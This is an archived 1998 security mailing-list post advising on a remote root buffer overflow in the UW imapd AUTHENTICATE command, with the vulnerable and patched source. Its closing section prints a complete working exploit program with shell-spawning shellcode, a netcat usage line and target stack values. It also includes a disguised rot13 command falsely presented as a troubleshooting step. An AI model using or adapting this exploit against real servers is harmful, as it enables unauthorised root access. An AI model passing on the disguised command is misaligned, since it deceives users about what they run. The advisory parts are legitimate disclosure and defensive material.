EMERGENCY: new remote root exploit in UW imapd

From: Anonymous (nobodyat_private)
Date: Thu Jul 16 1998 - 15:06:30 PDT

  • Next message: Ralf Lehmann ralflat_private: "Security risk with powermanagemnet on Solaris 2.6"

    INTRODUCTION
    
    On July 10, 1998 a message was posted to the University of Washington Pine
    mailing lists about a security problem in the UW imapd server released with
    Pine 4.00, viewable at:
    
        http://www.washington.edu/pine/pine-info/1998.07/msg00062.html
    
    Out of curiosity, I decided to do some source code diffs to see what
    changed between the patched and unpatched versions of imapd.  Sure enough,
    there was a *major* security hole.  The message from the Pine developers
    failed, however, to underscore the severity of the hole hence this security
    advisory.
    
    
    TECHNICAL DETAILS
    
    This recent hole is similar in nature to the older hole described in CERT
    Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon
    which the CERT advisory is based, but this is an all new hole and is *not*
    covered by the fixes presented in these advisories.  The full text of each
    previous advisory can be found at:
    
        http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.html
        http://www.cert.org/advisories/CA-97.09.imap_pop.html
    
    The previous IMAP server hole involved a stack buffer overflow condition in
    the processing of the IMAP LOGIN command in which arbitrary machine code
    can be executed by carefully crafting an overly long user name.  This time
    the affected command is the IMAP AUTHENTICATE command, which takes one
    argument specifying the authentication mechanism.  When a carefully crafted
    mechanism name that exceeds the size of a special stack buffer is presented
    to the IMAP server, the saved instruction pointer on the stack is
    overwritten with a altered value that can result in the execution of
    arbitrary machine code, due to coding errors in the IMAP server.
    
    The following source code discussion pertains to imapd 10.234 as
    distributed with Pine 4.00.  The problem code appears in the mail_auth()
    routine in mail.c of the IMAP server source code distribution, which reads:
    
    char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
    {
      char tmp[MAILTMPLEN];
      AUTHENTICATOR *auth;
                                    /* make upper case copy of mechanism name */
      ucase (strcpy (tmp,mechanism));
      for (auth = mailauthenticators; auth; auth = auth->next)
        if (auth->server && !strcmp (auth->name,tmp))
          return (*auth->server) (resp,argc,argv);
      return NIL;                   /* no authenticator found */
    }
    
    The problem lies in the strcpy() call that copies the contents of mechanism
    to tmp which resides on the stack as an automatic variable.  The tmp buffer
    is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h.
    However, the command string read from the client by the server is placed
    into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in
    imapd.c, thus allowing the passing of arguments to mail_auth() that greatly
    exceed the size of its temporary buffer.  Since the IMAP server has not
    yet given up its root privileges at this stage of the login process, this
    programming oversight can be exploited to yield root compromise on the IMAP
    server machine.
    
    Crafting machine code to take over the IMAP server through the AUTHENTICATE
    command buffer overflow presents technical challenges because the buffer
    contents are passed through ucase() which transforms all lowercase
    characters to uppercase, so the exploit machine code, which typically
    spawns a shell, must be impervious to mangling by toupper().  The
    "standard" i386 BSD exploit code, however, proves to be exceptionally
    resilient and actually the only necessary modification proves to be
    protecting the lowercase characters in the string "/bin/sh" which requires
    only trivial modifications.
    
    Recent versions of imapd also include checks in parse_astring() in imapd.c
    to reject characters with the high bit (eighth bit) set, so malicious
    exploit code (which often contains characters greater than 0x7f and
    non-letter characters) must be smuggled in as a string literal argument to
    the AUTHENTICATE command, which proves to be only a minor difficulty.
    
    
    IMPACT
    
    Any remote individual with malicious intentions may gain root access to the
    machine running a vulnerable version of imapd, with no knowledge of any
    valid local usernames or passwords.  As such, this matter should be treated
    with the utmost of seriousness.
    
    
    VULNERABLE SYSTEMS
    
    Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1
    server up through version 10.234 distributed as part of the Pine 4.00
    distribution are vulnerable.  Versions as old as 10.191 have been analyzed
    and found to be vulnerable, and it is believed that earlier versions are
    likely vulnerable, as well.  It may be safe to assume that all versions of
    imapd (previous to and including the version distributed with Pine 4.00)
    that support the IMAP AUTHENTICATE command are vulnerable.
    
    At the present time it is not known if any UW imapd IMAP2bis servers are
    vulnerable to this specific hole, but they are likely vulnerable to the
    older LOGIN hole described in the advisories referenced above.
    
    
    FIX INFORMATION
    
    As a temporary emergency measure, it is recommended that all sites running
    vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf
    until it is possible to upgrade to a patched version of the server.
    
    The University of Washington is currently distributing a separate version
    of imapd (confusingly, also numbered 10.234) outside of the Pine
    distribution that addresses the overflow in mail_auth().  The patched code
    reads:
    
    char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
    {
      char tmp[MAILTMPLEN];
      AUTHENTICATOR *auth;
                                    /* cretins still haven't given up */
      if (strlen (mechanism) >= MAILTMPLEN)
        syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s",
                tcp_clienthost ());
      else {                        /* make upper case copy of mechanism name */
        ucase (strcpy (tmp,mechanism));
        for (auth = mailauthenticators; auth; auth = auth->next)
          if (auth->server && !strcmp (auth->name,tmp))
            return (*auth->server) (resp,argc,argv);
      }
      return NIL;                   /* no authenticator found */
    }
    
    This patched version of imapd may be obtained at:
    
        ftp://ftp.cac.washington.edu/mail/imap.tar.Z
    
    
    COMMENTARY
    
    In some ways, it is depressing to find this new hole.  Programmers are
    still making the same mistakes they have made for years.  Doesn't anyone
    learn from the past?  Can strcpy() ever be used safely?  Perhaps the
    software development community, and certainly those writing network service
    daemons that run as root, should discontinue using *any* C library
    functions that do not include bounds checking information, such as
    sprintf(), strcat(), and strcpy().  Yes, they *can* be used safely but the
    potential for misuse is too great.  When will we learn?  When?
    
    I'll end my diatribe here.
    
    
    EXPLOIT INFORMATION
    
    What good is a security advisory without exploit information?  The
    following code exercises the buffer overflow condition on platforms running
    i386 versions of BSD UNIX, such as FreeBSD or BSDI.  I cannot be held
    responsible for the consequences of releasing this code nor can I be held
    responsible for results of its application.  I am releasing this code to be
    used for ethical purposes in diagnosing and testing the associated
    vulnerability.  Do not use this code to break into systems against the
    wishes of their owners.
    
    In short, be good, kids.  Okay?
    
    Oh, one other thing.  If you're trying to use this code and it doesn't seem
    to be working, type the following command at your UNIX prompt:
    
        echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname
    
    where "hostname" should be replaced with the hostname of the machine
    running the IMAP server.  Make sure you type it exactly as listed, since
    every character counts.  Once you've done that, try the exploit code again
    and it should work.
    
                                            Yours truly,
    
                                            Cheez Whiz
                                            cheezbeastat_private
    
    
    imappy.c
    
    ----- cut here ----- cut here ----- cut here ----- cut here -----
    
    /**
    ***  i386 BSD remote root exploit for UW imapd IMAP 4.1 server
    ***
    ***  This is *not* the same bug addressed in CERT Advisory CA-97.09!
    ***
    ***  Usage:  % (imappy nop esp offset; cat) | nc hostname 143
    ***
    ***  where nop is the number of NOP opcodes to place at the start of the
    ***  exploit buffer (I use 403), esp is the %esp stack pointer value, and
    ***  offset is the number of bytes to add to esp to calculate your target
    ***  %eip.
    ***
    ***  Demonstration values for UW imapd 10.234 (part of Pine 4.00):
    ***
    ***      imappy 403 0xefbfd5e8 100    (BSDI 3.0)
    ***      imappy 403 0xefbfd4b8 100    (FreeBSD 2.2.5)
    ***
    ***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
    ***
    ***  Cheez Whiz
    ***  cheezbeastat_private
    ***
    ***  July 16, 1998
    **/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <limits.h>
    #include <string.h>
    
    #define BUFLEN (2*1024)
    #define NOP 0x90
    
    char shell[] =
    /*  0 */ "\xeb\x34"                      /* jmp springboard              */
    /* start:                                                                */
    /*  2 */ "\x5e"                          /* popl %esi                    */
    /*  3 */ "\x8d\x1e"                      /* leal (%esi),%ebx             */
    /*  5 */ "\x89\x5e\x0b"                  /* movl %ebx,0xb(%esi)          */
    /*  8 */ "\x31\xd2"                      /* xorl %edx,%edx               */
    /* 10 */ "\x89\x56\x07"                  /* movl %edx,0x7(%esi)          */
    /* 13 */ "\x89\x56\x0f"                  /* movl %edx,0xf(%esi)          */
    /* 16 */ "\x89\x56\x14"                  /* movl %edx,0x14(%esi)         */
    /* 19 */ "\x88\x56\x19"                  /* movb %dl,0x19(%esi)          */
    /* 22 */ "\x31\xc0"                      /* xorl %eax,%eax               */
    /* 24 */ "\xb0\x7f"                      /* movb $0x7f,%al               */
    /* 26 */ "\x20\x46\x01"                  /* andb %al,0x1(%esi)           */
    /* 29 */ "\x20\x46\x02"                  /* andb %al,0x2(%esi)           */
    /* 32 */ "\x20\x46\x03"                  /* andb %al,0x3(%esi)           */
    /* 35 */ "\x20\x46\x05"                  /* andb %al,0x5(%esi)           */
    /* 38 */ "\x20\x46\x06"                  /* andb %al,0x6(%esi)           */
    /* 41 */ "\xb0\x3b"                      /* movb $0x3b,%al               */
    /* 43 */ "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx          */
    /* 46 */ "\x89\xca"                      /* movl %ecx,%edx               */
    /* 48 */ "\x52"                          /* pushl %edx                   */
    /* 49 */ "\x51"                          /* pushl %ecx                   */
    /* 50 */ "\x53"                          /* pushl %ebx                   */
    /* 51 */ "\x50"                          /* pushl %eax                   */
    /* 52 */ "\xeb\x18"                      /* jmp exec                     */
    /* springboard:                                                          */
    /* 54 */ "\xe8\xc7\xff\xff\xff"          /* call start                   */
    /* data:                                                                 */
    /* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8"  /* DATA (disguised /bin/sh)     */
    /* 66 */ "\x01\x01\x01\x01"              /* DATA                         */
    /* 70 */ "\x02\x02\x02\x02"              /* DATA                         */
    /* 74 */ "\x03\x03\x03\x03"              /* DATA                         */
    /* exec:                                                                 */
    /* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0                */
    
    char buf[BUFLEN];
    unsigned long int nop, esp;
    long int offset;
    
    void
    main (int argc, char *argv[])
    {
        int i;
    
        if (argc < 4) {
            printf("usage: %s nop esp offset\n", argv[0]);
            return;
        }
    
        nop = strtoul(argv[1], NULL, 0);
        esp = strtoul(argv[2], NULL, 0);
        offset = strtol(argv[3], NULL, 0);
    
        memset(buf, NOP, BUFLEN);
        memcpy(buf+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
            *((int *) &buf[i]) = esp + offset;
    
        printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
        for (i = 0; i < BUFLEN; i++)
            putchar(buf[i]);
        printf("\r\n");
    
        return;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:05:30 PDT